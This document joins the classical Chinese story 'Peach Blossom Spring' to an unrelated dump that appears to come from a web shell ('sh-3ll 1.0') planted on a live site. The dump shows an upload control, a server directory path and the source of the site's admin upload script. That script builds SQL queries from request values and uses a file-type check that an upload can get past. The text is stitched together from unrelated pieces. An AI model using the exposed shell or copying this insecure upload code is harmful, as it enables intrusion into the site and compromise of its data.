晋太元中，武陵人捕鱼为业。缘溪行，忘路之远近。忽逢桃花林，夹岸数百步，中无杂树，芳草鲜美，落英缤纷。渔人甚异之，复前行，欲穷其林。 　　林尽水源，便得一山，山有小口，仿佛若有光。便舍船，从口入。初极狭，才通人。复行数十步，豁然开朗。土地平旷，屋舍俨然，有良田、美池、桑竹之属。阡陌交通，鸡犬相闻。其中往来种作，男女衣着，悉如外人。黄发垂髫，并怡然自乐。 　　见渔人，乃大惊，问所从来。具答之。便要还家，设酒杀鸡作食。村中闻有此人，咸来问讯。自云先世避秦时乱，率妻子邑人来此绝境，不复出焉，遂与外人间隔。问今是何世，乃不知有汉，无论魏晋。此人一一为具言所闻，皆叹惋。余人各复延至其家，皆出酒食。停数日，辞去。此中人语云：“不足为外人道也。”(间隔 一作：隔绝) 　　既出，得其船，便扶向路，处处志之。及郡下，诣太守，说如此。太守即遣人随其往，寻向所志，遂迷，不复得路。 　　南阳刘子骥，高尚士也，闻之，欣然规往。未果，寻病终。后遂无问津者。 sh-3ll

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sh-3ll 1.0
DIR:/proc/self/root/proc/thread-self/root/home/bolconlineco/www/admin/
Upload File :
Current File : //proc/self/root/proc/thread-self/root/home/bolconlineco/www/admin/topicstudycode.php
<?php
ob_start();
  include('../includes/connection/func.inc.php');  
  if(isset($_POST['submit']))
  
    {
	 
	  $topicname = sql_strip($_POST['materials']);
	  $catId=sql_strip($_POST['catId']);
	  $courseId = sql_strip($_POST['courseId']);
	  $topicId = sql_strip($_POST['topicId']);
	  
	  
	  $name = $_FILES['materials']['name'];
	  
	  $temp_name = $_FILES['materials']['tmp_name'];
	  
	  $allowed=array('doc','docx','pdf');
	  
	  $type=explode('.',$name);
	  
	  $dir="../StudyMaterials/";
       $rand=mt_rand();
	   $fullname=$rand.$name;

       if(in_array($type[1],$allowed))
	   
	     {
			 
			 $q="select * from topicstudy where topicId='$topicId' and courseId='$courseId'";
			 $res=mysql_query($q) or die(mysql_error());
			 if(mysql_num_rows($res) > 0)
			  {
				header("location:topicstudymat.php?catId=$catId&courseId=$courseId&topicId=$topicId&error");
				 exit();
			  }else
			  {
			if(move_uploaded_file($temp_name,$dir.$fullname))
			
			  {
				  
				 $sql="INSERT INTO topicstudy values ('','$topicId','$courseId','$topicname','$fullname')";  
				 
				 $result=query($sql);
				
				 $msg="Materials inserted Successfully";
				 
				 header("location:topicstudymat.php?catId=$catId&courseId=$courseId&topicId=$topicId&msg=$msg");
				 exit();
			  }
			  }
	
		 }else
		 {
			 $msg="Enter Correct File";
				header("location:topicstudymat.php?catId=$catId&courseId=$courseId&topicId=$topicId&err=$msg");
				 exit();
			   
				 }
	  
	 	
	}

?>